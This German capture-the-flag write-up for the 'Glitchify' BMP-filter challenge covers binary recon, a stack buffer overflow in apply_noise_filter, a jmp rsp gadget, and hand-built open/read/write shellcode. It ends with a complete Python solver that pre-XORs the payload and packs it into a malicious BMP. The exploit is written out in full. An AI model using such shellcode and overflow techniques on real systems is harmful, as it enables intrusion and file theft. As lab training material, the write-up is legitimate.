303 lines
13 KiB
Markdown
303 lines
13 KiB
Markdown
# Glitchify
|
||
Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.
|
||
|
||
## Erste Analyse
|
||
|
||
Uns werden die folgenden Dateien zur Verfügung gestellt:
|
||
- `app.py`: Der Flask-Web-Wrapper.
|
||
- `glitcher`: Das kompilierte ELF64-Binary.
|
||
- `compose.yml` & `Dockerfile`: Die Container-Konfiguration.
|
||
- `good.bmp` & `bad.bmp`: Beispielbilder.
|
||
|
||
### 1. Identifizierung des Ziels
|
||
Durch Untersuchung des `Dockerfile` können wir genau sehen, wie der Server eingerichtet ist:
|
||
```dockerfile
|
||
WORKDIR /home/ctf
|
||
COPY glitcher .
|
||
COPY app.py .
|
||
COPY flag.txt .
|
||
```
|
||
Das Flag befindet sich unter `/home/ctf/flag.txt`. Unser Ziel ist es, diese Datei zu lesen.
|
||
|
||
### 2. Verständnis der Pipeline
|
||
Das `app.py`-Skript zeigt, dass der Server den `stdout` des Binarys abfängt und dem Benutzer anzeigt:
|
||
```python
|
||
result = subprocess.run(
|
||
['./glitcher', b64_data],
|
||
capture_output=True,
|
||
text=True,
|
||
timeout=2
|
||
)
|
||
output = result.stdout + result.stderr
|
||
```
|
||
Wenn wir einen Shellcode ausführen können, der `flag.txt` liest und in den `stdout` schreibt, erscheint das Flag direkt in der Weboberfläche.
|
||
|
||
## Binary Reconnaissance (Erkundung des Binarys)
|
||
|
||
Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.
|
||
|
||
### 1. Dateieigenschaften
|
||
```bash
|
||
$ file glitcher
|
||
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
|
||
```
|
||
Das Binary ist **not stripped**, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.
|
||
|
||
### 2. Sicherheitsmechanismen
|
||
```bash
|
||
$ readelf -h glitcher | grep Type
|
||
Type: EXEC (Executable file)
|
||
```
|
||
**PIE ist deaktiviert**. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.
|
||
|
||
```bash
|
||
$ readelf -l glitcher | grep -A 1 GNU_STACK
|
||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||
```
|
||
**NX ist deaktiviert** (`RWE`). Dies ist eine entscheidende Erkenntnis: **Der Stack ist ausführbar**. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.
|
||
|
||
## Statische Analyse (Verfolgung des Ausführungsflusses)
|
||
|
||
Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.
|
||
|
||
### 1. Der Einstiegspunkt (`main`)
|
||
Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:
|
||
1. Es reserviert Speicher für die Rohdaten.
|
||
2. Es ruft `base64_decode` auf, um unsere Eingabe wieder in Binärdaten umzuwandeln.
|
||
3. Es übergibt diese dekodierten Daten an die Funktion `process_bmp`.
|
||
|
||
### 2. Validierung des Bildes (`process_bmp`)
|
||
Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:
|
||
1. **Header-Check**: Sie überprüft die "BM"-Magic-Bytes.
|
||
2. **Format-Check**: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
|
||
3. **Größenberechnung**: Sie berechnet die Gesamtgröße der Pixeldaten: `width * height * 3`.
|
||
4. **Übergabe**: Schließlich ruft sie `apply_noise_filter` auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete `data_size`.
|
||
|
||
### 3. Die Schwachstelle (`apply_noise_filter`)
|
||
Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:
|
||
```c
|
||
void apply_noise_filter(char *src_data, int data_size) {
|
||
char process_buffer[3072]; // Feste Größe auf dem Stack
|
||
|
||
// ... Log-Initialisierung ...
|
||
|
||
// KRITISCH: Keine Prüfung, ob data_size > 3072!
|
||
memcpy(process_buffer, src_data, data_size);
|
||
|
||
// ... XOR-Schleife (Der "Glitch") ...
|
||
}
|
||
```
|
||
Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.
|
||
|
||
### 4. Der "Glitch"-Filter
|
||
Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:
|
||
```c
|
||
for (idx = 0; idx < data_size; idx++) {
|
||
process_buffer[idx] ^= (char)(idx % 256);
|
||
}
|
||
```
|
||
Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR).
|
||
|
||
## Exploitation-Strategie (Den Pfad finden)
|
||
|
||
Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.
|
||
|
||
### 1. Suche nach einem Gadget
|
||
Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie:
|
||
- `jmp rsp`
|
||
- `call rsp`
|
||
- `push rsp; ret`
|
||
|
||
### 2. Jagd nach dem Gadget
|
||
Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`:
|
||
|
||
```bash
|
||
$ objdump -d glitcher -M intel | grep "jmp rsp"
|
||
4018d6: ff e4 jmp rsp
|
||
```
|
||
|
||
Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**.
|
||
|
||
### 3. Verifizierung
|
||
Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:
|
||
|
||
```bash
|
||
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
|
||
00000000004018ce <get_pixels>:
|
||
4018ce: f3 0f 1e fa endbr64
|
||
4018d2: 55 push rbp
|
||
4018d3: 48 89 e5 mov rbp,rsp
|
||
4018d6: ff e4 jmp rsp
|
||
```
|
||
|
||
Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden.
|
||
|
||
## Den Exploit Schritt für Schritt aufbauen
|
||
|
||
### Schritt 1: Erstellung des Shellcodes
|
||
Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly:
|
||
|
||
```nasm
|
||
; --- "flag.txt" öffnen ---
|
||
push 0 ; Null-Terminator für String
|
||
mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian)
|
||
push rbx ; String auf Stack pushen
|
||
mov rdi, rsp ; RDI = Zeiger auf "flag.txt"
|
||
xor esi, esi ; RSI = 0 (O_RDONLY)
|
||
push 2 ; RAX = 2 (sys_open)
|
||
pop rax
|
||
syscall ; open("flag.txt", 0)
|
||
|
||
; --- Dateiinhalt lesen ---
|
||
mov rdi, rax ; RDI = File Descriptor (von rax)
|
||
mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden)
|
||
mov edx, 0x100 ; RDX = 256 Bytes zum Lesen
|
||
push 0 ; RAX = 0 (sys_read)
|
||
pop rax
|
||
syscall ; read(fd, rsp, 256)
|
||
|
||
; --- In stdout schreiben ---
|
||
mov rdx, rax ; RDX = gelesene Bytes (von rax)
|
||
push 1 ; RDI = 1 (stdout)
|
||
pop rdi
|
||
push 1 ; RAX = 1 (sys_write)
|
||
pop rax
|
||
syscall ; write(1, rsp, rdx)
|
||
|
||
; --- Sauber beenden ---
|
||
push 60 ; RAX = 60 (sys_exit)
|
||
pop rax
|
||
xor rdi, rdi ; RDI = 0
|
||
syscall ; exit(0)
|
||
```
|
||
|
||
### Schritt 2: Berechnung des Paddings
|
||
Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.
|
||
- **Padding**: 3080 Bytes.
|
||
- **Rücksprungadresse**: `0x4018d6` (`jmp rsp`).
|
||
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
|
||
|
||
### Schritt 3: Umgehung des XOR-Filters
|
||
Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.
|
||
```python
|
||
scrambled = bytearray()
|
||
for i in range(len(raw_payload)):
|
||
scrambled.append(raw_payload[i] ^ (i % 256))
|
||
```
|
||
|
||
### Schritt 4: In ein BMP verpacken
|
||
Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.
|
||
```python
|
||
# Magic 'BM' + Header + Gescrambelte Daten
|
||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
|
||
final_file = bmp_header + info_header + scrambled
|
||
```
|
||
|
||
## Der finale Solver
|
||
|
||
```python
|
||
import struct
|
||
|
||
# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
|
||
GADGET_ADDR = 0x4018d6
|
||
|
||
def get_payload():
|
||
# 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
|
||
# OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
|
||
shellcode = (
|
||
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
|
||
b"\x48\x89\xe7" # mov rdi, rsp (Dateiname-Zeiger)
|
||
b"\x31\xf6" # xor esi, esi (O_RDONLY)
|
||
b"\x6a\x02" # push 2 (sys_open)
|
||
b"\x58" # pop rax
|
||
b"\x0f\x05" # syscall (open)
|
||
|
||
b"\x48\x89\xc7" # mov rdi, rax (fd)
|
||
b"\x48\x89\xe6" # mov rsi, rsp (Stack als Puffer nutzen)
|
||
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max. Anzahl)
|
||
b"\x6a\x00" # push 0 (sys_read)
|
||
b"\x58" # pop rax
|
||
b"\x0f\x05" # syscall (read)
|
||
|
||
# --- FIX BEGINNT HIER ---
|
||
# read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
|
||
# Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
|
||
b"\x48\x89\xc2" # mov rdx, rax
|
||
# --- FIX ENDET HIER ---
|
||
|
||
b"\x6a\x01" # push 1 (stdout)
|
||
b"\x5f" # pop rdi
|
||
b"\x6a\x01" # push 1 (sys_write)
|
||
b"\x58" # pop rax
|
||
b"\x0f\x05" # syscall (write)
|
||
|
||
b"\x6a\x3c" # push 60 (sys_exit)
|
||
b"\x58" # pop rax
|
||
b"\x31\xff" # xor rdi, rdi (Status 0)
|
||
b"\x0f\x05" # syscall (exit)
|
||
)
|
||
|
||
# 2. Aufbau des Roh-Payload-Layouts
|
||
# Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
|
||
padding = b"A" * 3080
|
||
ret_addr = struct.pack("<Q", GADGET_ADDR)
|
||
|
||
# Kombinierter Roh-Payload
|
||
raw_payload = padding + ret_addr + shellcode
|
||
|
||
# 3. Anwendung des XOR-Scrambling
|
||
# Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
|
||
# Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
|
||
scrambled_payload = bytearray()
|
||
for i in range(len(raw_payload)):
|
||
key = i % 256
|
||
scrambled_payload.append(raw_payload[i] ^ key)
|
||
|
||
return scrambled_payload
|
||
|
||
def generate_bmp(payload):
|
||
# BMP benötigt width * height * 3 Bytes an Daten.
|
||
# Payload anpassen, damit er durch 3 teilbar ist.
|
||
while len(payload) % 3 != 0:
|
||
idx = len(payload)
|
||
payload.append(0 ^ (idx % 256))
|
||
|
||
# Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
|
||
height = 1
|
||
width = len(payload) // 3
|
||
|
||
# Header-Größe ist 54 Bytes
|
||
file_size = 54 + len(payload)
|
||
|
||
# Header konstruieren (Little Endian)
|
||
# Magic 'BM' + Dateigröße + Reserviert + Offset(54)
|
||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||
|
||
# Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
|
||
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
|
||
|
||
return bmp_header + info_header + payload
|
||
|
||
def main():
|
||
print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
|
||
|
||
payload = get_payload()
|
||
bmp_file = generate_bmp(payload)
|
||
|
||
output_filename = "exploit.bmp"
|
||
with open(output_filename, "wb") as f:
|
||
f.write(bmp_file)
|
||
|
||
print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
|
||
print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
```
|
||
|
||
Lade `exploit.bmp` auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!
|
||
|
||
Stay glitchy!
|